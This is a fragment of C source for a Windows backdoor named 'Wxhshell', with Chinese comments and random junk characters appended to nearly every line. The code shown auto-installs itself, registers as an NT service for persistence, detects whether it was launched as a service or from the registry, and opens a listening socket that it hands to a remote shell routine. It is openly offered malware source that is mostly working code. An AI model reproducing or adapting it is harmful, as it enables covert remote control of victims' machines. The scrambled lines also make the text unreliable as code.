86r5!@WN
PROCNTQSIP NtQueryInformationProcess; KQdIG9O+6
<$(B [T
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^/2I)y]W0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /8cRPB.
0M_oFx
HANDLE hProcess; bmfM_oz
PROCESS_BASIC_INFORMATION pbi; V8?}I)#(7
K9lgDk"i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'YNaLZ20
if(NULL == hInst ) return 0; I &t~o
Eah6"j!B8n
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OU[<\d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E
$@W~).!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u/zBz*zh
:S+K\
if (!NtQueryInformationProcess) return 0; [. 5m}V
X
W)TI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kx__&a
if(!hProcess) return 0; j i"g)d6
7RAB"T;?Q
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IS bs l=F
Aw o)a8e
CloseHandle(hProcess); RK>Pe3<
)O]T}eI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @;Ttdwg#J
if(hProcess==NULL) return 0; 6o3
bq|
mPV<a&U
HMODULE hMod; kSQ8kU_w+
char procName[255]; ':'g!b`/
unsigned long cbNeeded; +eM${JyXH
XpIiJry!6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a&y^Ps6=
c7Z4u|G
CloseHandle(hProcess); Zp_(vOc
-Mt
5< s
if(strstr(procName,"services")) return 1; // 以服务启动 [4Z 31v>
XpQ Ol
return 0; // 注册表启动 S&op|Z)1
} U=on}W3V2
aER|5!7(2\
// 主模块 a^|DD#5
int StartWxhshell(LPSTR lpCmdLine) uy'ghF
{ L[` l80
SOCKET wsl; s[1ao"sZ^
BOOL val=TRUE; :$ 5A3i
int port=0; gg;r;3u
struct sockaddr_in door; E h%61/
5jdZC(q5a
if(wscfg.ws_autoins) Install(); qtGJJ#^,
.1x04Np!
port=atoi(lpCmdLine); ^rkKE
dd
PxHFH pL
if(port<=0) port=wscfg.ws_port; !Brtao"m
yC,/R371k
WSADATA data; WeI+|V$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |D3u"Y!:^
Q M,!-~t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T5BZD
+Ta
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G7-BeA8
door.sin_family = AF_INET; I$Nh|eM
door.sin_addr.s_addr = inet_addr("127.0.0.1"); o_b[ *
door.sin_port = htons(port); B~Q-V&@o
f0Q6sV ZHa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 15$xa_w}L
closesocket(wsl); T)C@6/
return 1; ) "#'
} [\uR3$j#
g|=_@
pL
if(listen(wsl,2) == INVALID_SOCKET) { WA{igj@\
closesocket(wsl); B*7kX&Uq
return 1; ntiS7g e1
} T X`X5j
Wxhshell(wsl); xS18t="
WSACleanup(); 3:%k
pnO
j jpYg
return 0; *OVB;]D3+
6 Z/`p~e
} ;`9f<d#\
1C[9}}
// 以NT服务方式启动 y!e]bvN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s>rR\`
{ ejRK-!
DWORD status = 0; ajbe7#}
DWORD specificError = 0xfffffff; i jI/z5
k1 5vs
serviceStatus.dwServiceType = SERVICE_WIN32; )fH
Q7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -!\3;/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \?:L>-&h8
serviceStatus.dwWin32ExitCode = 0; h\m35'v!
serviceStatus.dwServiceSpecificExitCode = 0; gjF5~
`
serviceStatus.dwCheckPoint = 0; NOz3_k
serviceStatus.dwWaitHint = 0; @0`A!5h?u
TFVQfj$r
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,N/@=As9$
if (hServiceStatusHandle==0) return; D{|q P
nE4
E3L?6Qfx>
status = GetLastError(); I8F+Z
if (status!=NO_ERROR) [+#m
THX
{ e4X
df>B
serviceStatus.dwCurrentState = SERVICE_STOPPED; N&8TG
serviceStatus.dwCheckPoint = 0; ?M2(80
serviceStatus.dwWaitHint = 0; ;#B(L=/
serviceStatus.dwWin32ExitCode = status; I8*VM3
serviceStatus.dwServiceSpecificExitCode = specificError; ;'!x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\]^c
return; #GsOE#*>T
} SpH|<L3
;D5>iek5
serviceStatus.dwCurrentState = SERVICE_RUNNING; }E`Y.=
S
serviceStatus.dwCheckPoint = 0; !+xQ
serviceStatus.dwWaitHint = 0; >nSsbhAe
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ KK9aV{
} -luQbGcT3
ia6 jiW x
// 处理NT服务事件,比如:启动、停止 , ,3lH-C
VOID WINAPI NTServiceHandler(DWORD fdwControl) PN}+LOD<t
{ #mH@ /6,#[
switch(fdwControl) :,BAw ,
{ 5Iu5N0cn
case SERVICE_CONTROL_STOP: 337.' |ZE
serviceStatus.dwWin32ExitCode = 0; ROO*/OOd
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?7{U=1gb$
serviceStatus.dwCheckPoint = 0; 5Z=4%P*I
serviceStatus.dwWaitHint = 0; f^%3zWp|-
{ PSrx!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &\zYbGU
} F<4rn
return; ;w{<1NH2+.
case SERVICE_CONTROL_PAUSE: #86N
!&x
serviceStatus.dwCurrentState = SERVICE_PAUSED; *k$[/{S1-
break; %zavSm"
case SERVICE_CONTROL_CONTINUE: S :HOlJze
serviceStatus.dwCurrentState = SERVICE_RUNNING; :]"5UY?oF
break; OY*y<